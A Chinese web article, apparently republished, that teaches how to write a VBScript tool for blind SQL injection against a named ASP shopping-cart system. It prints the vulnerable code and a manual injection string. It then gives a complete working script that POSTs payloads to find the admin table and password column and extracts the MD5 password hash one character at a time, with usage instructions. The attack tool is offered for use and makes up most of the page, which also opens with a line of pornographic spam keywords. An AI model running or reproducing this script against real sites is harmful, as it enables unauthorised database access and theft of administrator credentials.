人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

談VBS在Hacking中的作用———SQL Inject中的應(yīng)用

發(fā)布日期:2021-12-31 17:06 | 文章來源:腳本之家
平常我們遇到有注入漏洞一類的網(wǎng)站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點的注射點很難構(gòu)造,或者說注射語句比較特殊。如果用手工去注射的話,費時又費力!但自己寫針對性的工具的話,對一些剛?cè)腴T不久或不會編程的朋友來說,實在是一件很痛苦的事情。因此今天NP給大家?guī)淼奈恼戮褪侵v如何用簡單的VBS腳本來打造我們所要的注射工具。
在您繼續(xù)看這篇文章之前,我先大膽的假設(shè)此時的您已經(jīng)學會了VBS腳本的基礎(chǔ)知識以及基本的SQL Inject知識。
首先,我們先來看一段有漏洞的代碼。(此代碼摘自“網(wǎng)趣網(wǎng)上購物系統(tǒng)時尚版 v3.2”的Getpwd2.asp的片段)

<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>

已知管理員表為admin 密碼字段為password
有經(jīng)驗的朋友可以很清楚的看到第6句的SQL語句把沒有經(jīng)過任何過濾的Username變量,直接提交執(zhí)行了。這是一個很經(jīng)典的SQL Inject漏洞。那么我們?nèi)绾稳ダ眠@個漏洞呢?
由于username變量是用request.form獲取的,而我們知道request.form只接受POST提交上來的數(shù)據(jù),因此我們不能像往常一樣構(gòu)造如下語句進行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址欄輸入的話,由于是GET提交數(shù)據(jù),Getpwd2.asp是不會接收數(shù)據(jù)的。
看到這,您或許會說,那用NBSI中的POST提交功能呢?
經(jīng)過測試把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址欄,使用POST提交,NBSI會說“注入破解失敗”

由于語句的關(guān)系,NBSI無法幫我們跑出相關(guān)密碼。阿D就不用說了,全用GET…也無法幫我們完成任務(wù).
現(xiàn)在我們再測試下手工注射!
我們將如下語句填入getpwd.asp的表單中:
' or 0<>(select count(*) from admin) and ''='

返回正確提示,說明我們注射成功!

OK,架設(shè)的環(huán)境已經(jīng)大體分析清楚了….我們開始進入主題.
VBS 的注射腳本需要用到XmlHttp組件和ADODB.Stream組件,請確保您機器上存在這兩個組件!(默認系統(tǒng)自帶,但由于去年ADODB.Stream網(wǎng)頁木馬的事件,很多機器的 ADODB.Stream組件被刪除了,所以寫此注射腳本時,請保證該組件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then

wscript.echo "Execute it under the cmd.exe Plz! Thx."

wscript.quit
end if
‘//上面的IF語句是判斷腳本執(zhí)行程序是否為wscript.exe,如果是則提示對方到CMD下執(zhí)行
URL=lcase(trim(Wscript.Arguments(0)))
‘//簡單過濾提交參數(shù)的兩邊空格以及轉(zhuǎn)換成全小寫.
RightW = "這個用戶沒有注冊"
‘//這個是定義判斷猜對與否的關(guān)鍵字
if url <> "" then

'猜解管理員表

data = "' or 0<>(select count(*) from admin) and ''='"

GetHTTPPage(url)

If len(GetHTTPPage(url)) <5 then

wscript.echo "Error...Please checking the url!"

wscript.quit

end if

‘//上面這個IF語句,主要是判斷反饋信息,如果反饋信息的長度少于5,那說明提交的URL有問題,需要退出重新檢查后再注射.

If Instr(GetHTTPPage(url), RightW) = 0 then

Wscript.echo "Table name ""admin"" find"

else

wscript.echo "Not found table name ...exit..."

wscript.quit

end If
‘//如果發(fā)現(xiàn)關(guān)鍵字,則報告表名猜解正確,否則退出!

'猜解密碼字段

data ="' or 0<>(select count(password) from admin) and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

WScript.Echo ""

Wscript.echo "The Column name ""password"" find"

else

wscript.echo "Not found Column name ...exit..."

wscript.quit

End If
‘//猜解密碼字段亦同!

'猜解密碼

WScript.Echo ""

WScript.Echo "Start guessing,Waiting... ..."

WScript.Echo ""

pwd=""

strings="0123456789abcdef" '定義密碼范圍(構(gòu)成md5值的主要字符)

For i=1 To 16 Step 1

wscript.echo "Guessing
No. "&i&"... ..."

For k=1 To Len(strings) Step 1

data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

pwd = pwd&Mid(strings,k,1)

Exit For

End If

Next

Next
‘//此腳本之精華之處,嵌套循環(huán)猜解密碼!
‘//依次取密碼與構(gòu)成MD5的主要16個字符的ASC值進行對比
‘//正確則給PWD附值并跳出單循環(huán),繼續(xù)下一個猜解

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "Guessing over!!!"

If error Then

Wscript.echo "error:" & Error.Description

Error.Clear

Else

Wscript.echo "Password is:" & pwd

End if
‘//輸出已經(jīng)猜解成功的密碼

else

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"

wscript.echo "--------------------------------------------------------------------------------"

End if
‘//以下是注射的POST提交函數(shù)
‘//用ADODB.Stream轉(zhuǎn)換編碼,速度比較快,對于反饋數(shù)據(jù)多的站點比較有優(yōu)勢!
Function GetHTTPPage(url)

dim XmlHttp

set XmlHttp=createobject("Msxml2.XMLHTTP")

XmlHttp.open "POST",url,false

xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"

XmlHttp.send("username="&data)

if XmlHttp.readystate<>4 then exit function

GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)

set XmlHttp=nothing

if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)

Dim BytesStream,StringReturn

Set BytesStream = CreateObject("ADODB.Stream")

BytesStream.Type = 2

BytesStream.Open

BytesStream.WriteText vin

BytesStream.Position = 0

BytesStream.Charset = "GB2312"

BytesStream.Position = 2

StringReturn =BytesStream.ReadText

BytesStream.close

Set BytesStream = Nothing

Bytes2bStr = StringReturn
End Function

注意事項:要提交的SQL語句,空格需要用加號替換,否則在有的機器上無法猜解!
以上就是我們自己針對性打造的注射工具了.
使用方法也很簡單,在CMD下執(zhí)行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么樣?是不是很簡單呢?
您或許還會說,為什么沒猜管理員的用戶名字段和相關(guān)ID呢?呵呵,這就留個大家當作業(yè)吧.
您可以添加如下功能:
自動判斷管理員的用戶名字段
自動判斷管理員的用戶名所在的有效ID值
可猜解指定的ID.
更深入的過濾及檢測URL是否有效.
多說無意…行動最實際! Go Go Go…開始打造你自己的注射程序

版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部